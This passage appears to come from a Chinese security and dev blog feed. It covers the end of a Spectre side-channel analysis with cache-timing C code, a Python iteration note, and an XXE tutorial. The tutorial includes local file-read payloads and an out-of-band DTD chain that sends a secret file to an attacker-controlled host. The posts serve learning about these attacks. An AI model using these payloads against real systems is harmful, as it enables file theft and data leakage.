class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> i = <span class="number">0</span>;</span><br><span class="line"><span class="comment">// 没有实际作用的变量</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> junk = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(i = <span class="number">0</span> ; i &lt; <span class="number">256</span>; i++)&#123;</span><br><span class="line"><span class="comment">// 打乱访问的顺序，不让cpu预测下一个访问的地址位置，以免影响攻击</span></span><br><span class="line">mix_i = ((i * <span class="number">167</span>) + <span class="number">13</span>) &amp; <span class="number">255</span>;</span><br><span class="line">addr = &amp;array2[<span class="number">512</span> * mix_i];</span><br><span class="line"><span class="comment">// 记录当前的访问时间</span></span><br><span class="line">time1 = __rdtscp(&amp;junk);</span><br><span class="line"><span class="comment">// 然后尝试访问当前地址</span></span><br><span class="line">junk = *addr;</span><br><span class="line"><span class="comment">// 记录时间差</span></span><br><span class="line">time2 = __rdtscp(&amp;junk) - time1;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 如果，当前的访问时间低于某个时间点，并且不是当前训练的时候用的另一个合法参数（这个合法参数对应的数组</span></span><br><span class="line"><span class="comment">// 元素肯定也被塞到数组里面去了，所以要剔除影响）</span></span><br><span class="line"><span class="keyword">if</span>(time2 &lt; CACHE_HIT &amp;&amp; mix_i != array1[train_index])&#123;</span><br><span class="line"><span class="comment">// 此时的mix_i 很可能是我们需要的数据，则此时将一个用于记录全局数据的变量+1</span></span><br><span class="line">value[mix_i]++;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后我们利用一个函数，找到这个可能性最大的值，避免误差的同时，我们可以把次可能的值也列出来:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">j = k = <span class="number">-1</span>;</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">256</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (j &lt; <span class="number">0</span> || results[i] &gt;= results[j])</span><br><span class="line">&#123;</span><br><span class="line">k = j;</span><br><span class="line">j = i;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span> (k &lt; <span class="number">0</span> || results[i] &gt;= results[k])</span><br><span class="line">&#123;</span><br><span class="line">k = i;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 此时， j存放着可能性最大的值，k存放着可能性次高的值</span></span><br></pre></td></tr></table></figure><p>最后，我们通过检查每个字符出现的次数，决定此时的侧行道攻击是否成功:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (results[j] &gt;= (<span class="number">2</span> * results[k] + <span class="number">5</span>) || (results[j] == <span class="number">2</span> &amp;&amp; results[k] == <span class="number">0</span>))</span><br><span class="line"><span class="keyword">break</span>; </span><br></pre></td></tr></table></figure><p>作为估算，我们此时可以把估算的命中次数一类的值都记录下来，方便调试学习:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">// 0下标为相似度最高的数据，1为次高的数据</span><br><span class="line">value[0] = (uint8_t)j;</span><br><span class="line">value[1] = (uint8_t)k;</span><br><span class="line">score[0] = results[j];</span><br><span class="line">score[1] = results[k]</span><br></pre></td></tr></table></figure><p>完整的代码参考:<br><a href="https://github.com/Eugnis/spectre-attack">https://github.com/Eugnis/spectre-attack</a></p><h2 id="自己思考的一些qa">自己思考的一些QA</h2><p><strong>Q1</strong> 关于预测代码，有一段的内容为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>( i &lt; index_array_size )&#123;</span><br><span class="line">tmp = array2[index_array[i] * <span class="number">512</span>]</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>既然是利用了缓存，从地址<code>&amp;array2[index_array[i] * 512]</code>周围的数据读入缓存，再利用侧信道攻击进行数据泄露，猜测这个index_array[i] 指向的数据内容从而进行数据泄露。那么为什么我们不能够直接写成下列的内容:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>( i &lt; index_array_size )&#123;</span><br><span class="line">tmp = index_array[i] * <span class="number">512</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这样的话我们从<code>index_array[i]</code>中读取的数据应该也会<strong>直接写入缓存</strong>，此时不是也能够猜测缓存吗？</p><p><strong>A1</strong> 这个时候，我们知道<code>index_array[i]</code>会被读入到缓存里面，但是利用<strong>侧信道攻击</strong>的话，只能够猜测当前<code>array2</code>的数组的下标值，而没办法猜测当前的数组的值。所以只能将当前需要查询的数据放入数组下标，才能够利用<strong>侧信道攻击</strong>。</p><p><strong>Q2</strong> 关于预测代码的一段:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mix_i = ((i * <span class="number">167</span>) + <span class="number">13</span>) &amp; <span class="number">255</span>;</span><br><span class="line">addr = &amp;array2[mix_i * <span class="number">512</span>];</span><br></pre></td></tr></table></figure><p>这段为什么不能够顺序访问呢？</p><p><strong>A2</strong> 因为这个时候，如果我们顺序访问的话，CPU 会预测下一步的位置，从而让我们的侧信道访问时间受到干扰，于是这里打乱访问的顺序，从而能够强化侧信道攻击的效果。<br>参考网站:<br><a href="https://en.wikipedia.org/wiki/Branch_predictor">https://en.wikipedia.org/wiki/Branch_predictor</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;人生第一次见到硬件层面上的漏洞，好好研究一下看看&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="CVE" scheme="https://showlinkroom.me/tags/CVE/"/>
    
  </entry>
  
  <entry>
    <title>python3与迭代对象</title>
    <link href="https://showlinkroom.me/2018/02/03/python%E4%B8%8E%E8%BF%AD%E4%BB%A3%E5%AF%B9%E8%B1%A1/"/>
    <id>https://showlinkroom.me/2018/02/03/python%E4%B8%8E%E8%BF%AD%E4%BB%A3%E5%AF%B9%E8%B1%A1/</id>
    <published>2018-02-03T09:53:01.000Z</published>
    <updated>2020-07-16T13:31:30.407Z</updated>
    
    <content type="html"><![CDATA[<p>今天写了个简单的脚本，调了好久才发现这个坑点。。。</p><h2 id="more-python3与迭代对象"><span id="more"></span><br>python3与迭代对象</h2><h2 id="关于for的循环">关于for的循环</h2><h3 id="使用zip与不使用zip的区别">使用zip与不使用zip的区别</h3><p>今天写了一个脚本，发现结果总是不对，然后发现问题出在如下的位置:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Test</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, input_num</span>):</span><br><span class="line">self.weight = [<span class="number">0.0</span> <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(input_num)]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">test</span>(<span class="params">self, input_num</span>):</span><br><span class="line">weight_num = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> i,j <span class="keyword">in</span> input_num, self.weight:</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;i is &#123;&#125; and j is &#123;&#125;&quot;</span>.<span class="built_in">format</span>(i,j))</span><br></pre></td></tr></table></figure><p>（有一点改动）<br>然后发现一个奇怪的事情，当我调用<code>test</code>的函数的时候，输出如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; test.test([1,2])</span><br><span class="line">i is 1 and j is 2</span><br><span class="line">i is 0.0 and j is 0.0</span><br></pre></td></tr></table></figure><p>嗯嗯？？？<br><img src="/2018/02/03/python%E4%B8%8E%E8%BF%AD%E4%BB%A3%E5%AF%B9%E8%B1%A1/python00.jpg" alt=""><br>我就是懒了一下没写<code>zip</code>，怎么就遍历错了呢？？</p><h4 id="我原先的目的">我原先的目的</h4><p>这个原先的想法是<strong>让i遍历input_num，j遍历weight</strong>，正常的写法大概就是如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i, j <span class="keyword">in</span> <span class="built_in">zip</span>(input_num, weight)</span><br></pre></td></tr></table></figure><h4 id="进一步理解">进一步理解</h4><p>后来再大佬的点拨下，发现这个表达式完全可以如此理解:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (i,j) <span class="keyword">in</span> (tuple_of_input_num, tuple_of_weight)</span><br></pre></td></tr></table></figure><p>这个写法可能不妥，大概表达的意思是<strong>i,j作为一个整体，然后依次 unpack in关键字后面的数据</strong>。<br>然后我们再修改一下代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>input_num.append(<span class="number">5</span>)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">for</span> i,j <span class="keyword">in</span> input_num, weight:</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;i is &#123;&#125; and j is &#123;&#125;&quot;</span>.<span class="built_in">format</span>(i,j))</span><br></pre></td></tr></table></figure><p>然后发出了如下的报错:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ValueError: too many values to unpack (expected 2)</span><br></pre></td></tr></table></figure><p>果然，这里是把<code>i,j</code>作为了一个整体来考虑数据。</p><h4 id="zip的原理">ZIP的原理</h4><p>那<code>zip</code>是怎么实现同时迭代多个对象的呢？我们来看一下接下来的代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>t = <span class="built_in">zip</span>([<span class="number">1</span>,<span class="number">2</span>],[<span class="number">3</span>,<span class="number">4</span>])</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>i,j = t</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>i</span><br><span class="line">(<span class="number">1</span>, <span class="number">3</span>)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>j</span><br><span class="line">(<span class="number">2</span>, <span class="number">4</span>)</span><br></pre></td></tr></table></figure><p>可以看到，<code>zip</code>会将当前的两个可迭代对象放在两个<code>tuple</code>里面，也就是说，其实我们如下的代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i,j <span class="keyword">in</span> <span class="built_in">zip</span>([<span class="number">1</span>,<span class="number">2</span>], [<span class="number">3</span>,<span class="number">4</span>])</span><br></pre></td></tr></table></figure><p>等价于</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i,j <span class="keyword">in</span> (<span class="number">1</span>,<span class="number">3</span>),(<span class="number">2</span>,<span class="number">4</span>)</span><br></pre></td></tr></table></figure><h3 id="总结">总结</h3><ul><li>记得另一位大佬好像讲过，python里面<strong>万物皆tuple</strong>，这里完全都体会到了</li><li>写代码的时候记得写测试。。。</li></ul><h3 id="关于迭代的方式">关于迭代的方式</h3><p>过几天又遇到了一个奇怪的现象:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>tmp = [(i,j)</span><br><span class="line">       <span class="keyword">for</span> i <span class="keyword">in</span> [<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>]</span><br><span class="line">       <span class="keyword">for</span> j <span class="keyword">in</span> [<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>]</span><br><span class="line">       ]</span><br></pre></td></tr></table></figure><p>我理想中的输出是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[(1,4),(2,5),(3,6)]</span><br></pre></td></tr></table></figure><p>但是实际上却是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[(1, 4), (1, 5), (1, 6), (2, 4), (2, 5), (2, 6), (3, 4), (3, 5), (3, 6)]</span><br></pre></td></tr></table></figure><p>仔细思考之后，大概明白了上述的写法其实应该等价于</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">for i in [1,2,3]:</span><br><span class="line">for j in [4,5,6]:</span><br><span class="line">tmp.append((i,j))</span><br></pre></td></tr></table></figure><p>emmm…感觉我对python还是了解不够啊</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;今天写了个简单的脚本，调了好久才发现这个坑点。。。&lt;/p&gt;
&lt;h2 id=&quot;more-python3与迭代对象&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="python" scheme="https://showlinkroom.me/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>XXE初步学习</title>
    <link href="https://showlinkroom.me/2018/01/28/XXE%E5%88%9D%E6%AD%A5%E5%AD%A6%E4%B9%A0/"/>
    <id>https://showlinkroom.me/2018/01/28/XXE%E5%88%9D%E6%AD%A5%E5%AD%A6%E4%B9%A0/</id>
    <published>2018-01-28T08:40:58.000Z</published>
    <updated>2020-07-16T13:31:30.432Z</updated>
    
    <content type="html"><![CDATA[<p>搞这个东西让我懂了一个道理:首先要完全掌握漏洞的相关知识才能成功实现攻击，一知半解完全就是看脸了…</p><h2 id="more-xxe初步学习"><span id="more"></span><br>XXE初步学习</h2><h2 id="xml与dtd">XML与DTD</h2><h3 id="xml">XML</h3><ul><li>XML 指可扩展标记语言（EXtensible Markup Language）</li><li>XML 是一种标记语言，很类似 HTML</li><li>XML 的设计宗旨是传输数据，而非显示数据</li></ul><p><code>XML</code>作为传输数据的格式之一，主要是将数据以树的方式存储，能够方便的以对象的方式读取数据。</p><h4 id="基本格式">基本格式</h4><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;ISO-8859-1&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">note</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">info</span>&gt;</span>MYTEST<span class="tag">&lt;/<span class="name">info</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">note</span>&gt;</span></span><br></pre></td></tr></table></figure><p>第一行是<code>XML</code>声明，其定义了<code>XML</code>使用的版本，以及内容使用的编码。<br>之后的则是节点，其中<code>&lt;note&gt;</code>是作为根节点存在。之后的<code>&lt;info&gt;</code>作为其的子节点。</p><p>XML的属性必须要用引号括起来。<br><strong>在<code>XML</code>中，必须要有根节点，也就是说要有一个独立的节点，其他的属性归在这个节点之下</strong></p><h3 id="dtd">DTD</h3><p>DTD 的作用是定义 XML 文档的结构。它使用一系列合法的元素来定义文档结构。如果我们需要使用DTD，则需要在文档中包括下列内容:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE 根元素 [元素声明]&gt;</span></span><br></pre></td></tr></table></figure><h4 id="定义属性">定义属性:</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot;?&gt;</span><br><span class="line">&lt;!DOCTYPE note [</span><br><span class="line">  &lt;!ELEMENT note (child1, child2)&gt;</span><br><span class="line">  &lt;!ELEMENT child1      (#PCDATA)&gt;</span><br><span class="line">  &lt;!ELEMENT child2      (#PCDATA)&gt;</span><br><span class="line">]&gt;</span><br></pre></td></tr></table></figure><p>这里的意思是:定义一个note属性的文档（也就是说note为根节点），然后note之下有两个元素child1，child2，两个的属性都定义为(#PCDATA)<br>(PCDATA 的意思是被解析的字符数据（parsed character data）。可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。)</p><p>除了直接指明<code>包含子节点</code>，也可以指定<code>包含任意内容</code>来包含子节点</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!ELEMENT <span class="keyword">note</span> <span class="keyword">any</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="外部文档">外部文档</h4><p>如果说这个DTD文件是外部的文档的话，我们应该将头部修改为如下定义:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE 根元素 <span class="keyword">SYSTEM</span> <span class="string">&quot;文件名&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><p>这里定义一个和上面基本相同的文件，不过这里我们使用外部文档:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">note</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;note.dtd&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">note</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">child1</span>&gt;</span>test for<span class="tag">&lt;/<span class="name">child1</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">child1</span>&gt;</span>xml and dtd<span class="tag">&lt;/<span class="name">child1</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">note</span>&gt;</span></span><br></pre></td></tr></table></figure><p>其中<code>note.dtd</code>文件的内容如下:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!ELEMENT <span class="keyword">note</span> (<span class="keyword">child1</span>, <span class="keyword">child2</span>)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT <span class="keyword">child1</span>      (<span class="keyword">#PCDATA</span>)&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT <span class="keyword">child2</span>      (<span class="keyword">#PCDATA</span>)&gt;</span></span><br></pre></td></tr></table></figure><h4 id="实体">实体</h4><ul><li>实体是用于定义引用普通文本或特殊字符的快捷方式的变量。</li><li>实体引用是对实体的引用。</li><li>实体可在内部或外部进行声明。</li><li><em>实体也可以来自外部</em></li></ul><p>定义如下：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!ENTITY 实体名称 <span class="string">&quot;实体的值&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><p>如果来自外部的话，和外部文档定义类似:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;!ENTITY 实体名称 SYSTEM &quot;URI/URL&quot;&gt;</span><br></pre></td></tr></table></figure><p>当时用实体的时候，使用<code>&amp;实体名称;</code>的格式。并且如果<strong>定义了根节点，那么此时要在根节点的声明下</strong>，如下例子:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&lt;!DOCTYPE student [</span><br><span class="line">&lt;!ELEMENT student ANY&gt;</span><br><span class="line">    &lt;!ENTITY grade &quot;90&quot;&gt;</span><br><span class="line">]&gt;</span><br><span class="line"></span><br><span class="line">&lt;student&gt;</span><br><span class="line">    &amp;grade;</span><br><span class="line">&lt;/student&gt;</span><br></pre></td></tr></table></figure><p>此时<code>grade</code>的外部一定要是当前文档的属性包括，不然的话会找不到当前的定义。<br><em>测试：如果此时去掉了student的Element声明，此时grade就不需要在student下了</em></p><p><em>参数实体</em><br>这种实体会先进行<code>DTD</code>解析。并且也只能在<code>DTD</code>中使用</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!ENTITY % 实体名 <span class="string">&quot;实体值&quot;</span>&gt;</span></span><br><span class="line"><span class="meta">&lt;!ENTITY % 实体名 <span class="keyword">SYSTEM</span> <span class="string">&quot;uri&quot;</span>&gt;</span></span><br><span class="line">% 实体名;</span><br></pre></td></tr></table></figure><p>这种特性会在<code>%实体名;</code>处对这个对象进行解析。比如下列例子:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;!ENTITY % a &quot;&lt;!ENTITY b &#x27;app&#x27;&gt;&quot;&gt;</span><br><span class="line">% a;</span><br></pre></td></tr></table></figure><p>解析后会变成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;!ENTITY b &#x27;app&#x27;&gt;</span><br></pre></td></tr></table></figure><p><em>类似于宏，不过根据规定，不能够有对自己内部的参数实体的引用，也就是说自己定义的参数实体不能被自己的实体引用</em></p><h2 id="xxe">XXE</h2><p>外部实体注入(XML External Entity)，也就是通过包括外部实体的方式，实现任意文件读取的功能。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;utf-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">attacker</span> [</span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span class="keyword">item</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;file:///&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta">]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">label</span>&gt;</span><span class="symbol">&amp;item;</span><span class="tag">&lt;/<span class="name">label</span>&gt;</span></span><br></pre></td></tr></table></figure><p>通过类似的应用方法调用协议，就能够读取到我们需要读取的数据，实现数据泄露。</p><h3 id="远程数据泄露">远程数据泄露</h3><p>有的时候，我们及时成功的注入了，服务器那边也没有给与我们回显怎么办（比如说，我们这个<code>xml</code>传输只是作为数据存储使用，所以此时没有回显给我们看到）?这个时候我们就要考虑利用一次<code>DTD</code>作为跳板，让远程的数据在我们可以控制的服务器上显示。<br>这种时候，我们首先利用<strong>参数实体解析</strong>的特点，首先发往对面服务器的数据为:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;utf-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">root</span> [ </span></span><br><span class="line"><span class="meta"> <span class="meta">&lt;!ENTITY % <span class="keyword">xxe</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;http://to/oursite.com/evil.dtd&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta">%xxe;</span></span><br><span class="line"><span class="meta">]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">root</span>&gt;</span><span class="symbol">&amp;evil;</span><span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br></pre></td></tr></table></figure><p>此时，这个<code>dtd</code>在服务器上机会开始被解析(<em>evil的使用时关键之一</em>)。当解析遇到了 url 的时候，便开始将这个实体解析。由于发现是一个外部连接，于是开始解析外部的<code>dtd</code>实体。此时我们外部的实体中内容为：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;utf-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!ENTITY % <span class="keyword">file</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;file:///C://Users//secret.txt&quot;</span>&gt;</span></span><br><span class="line"><span class="meta">&lt;!ENTITY % <span class="keyword">param</span> <span class="string">&quot;&lt;!ENTITY evil SYSTEM &#x27;http://oursite.com/record?text=%file;&#x27;&gt;&quot;</span>&gt;</span></span><br><span class="line">%param;</span><br></pre></td></tr></table></figure><p>此时，我们外部实体中的数据也是一个xml，并且我们这边会将<strong>内容发送至服务器那解析</strong>。于是内容就变成了</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!ENTITY <span class="keyword">evil</span> <span class="keyword">SYSTEM</span> <span class="string">&#x27;http://oursite.com/record?text=[secret.txt的文件内容]&#x27;</span>&gt;</span></span><br></pre></td></tr></table></figure><p>于是这个对象就定义完成了。服务器此时遇到了<code>evil</code>实体后，就会尝试发起请求，并且这个请求的url就是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://oursite.com/record?text=[secret.txt的文件内容]</span><br></pre></td></tr></table></figure><p>于是就能够实现数据的泄露！。</p><p><em>疑问:为什么不直接将这个地址写死呢？</em><br>比如说<code>http://localhost:8081/landing?text=file:///C://Users//secret.txt</code>这样的链接可行吗？</p><p>如果直接写死的话，此时不经过解析，所以不会打开文件。</p><p><em>疑问：为什么不再本地进行解析</em><br>比如说：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;</span><br><span class="line">&lt;!DOCTYPE comment [ </span><br><span class="line"> &lt;!ENTITY % file &quot;file:///C://Users//secret.txt&quot;&gt;</span><br><span class="line"> &lt;!ENTITY % xxe  &quot;&lt;!ENTITY test SYSTEM &#x27;http://localhost:8081/landing?text=%file;&#x27;&gt;&quot;&gt;</span><br><span class="line"> %xxe;</span><br><span class="line">]&gt;</span><br></pre></td></tr></table></figure><p>这个是XML语法规定，参数实体引用 <code>\\&quot;%file;\\&quot;</code> 不能出现在 DTD 的内部子集中的标记内。换句话说，当<strong>实体声明</strong>（也就是一个<code>&lt;ENTITY&gt;</code>定义）的时候，不能够有<strong>对自己内部的参数实体的引用</strong>。但是，如果说<strong>引用了数据的标记不是内部子集，也就是来自外部的数据的话，就能够实现对该数据的引用</strong>。</p><h3 id="如何检测是否有漏洞">如何检测是否有漏洞</h3><p>第一步，检测是否有 XML 的解析器</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span>  </span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">ANY</span> [  </span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span 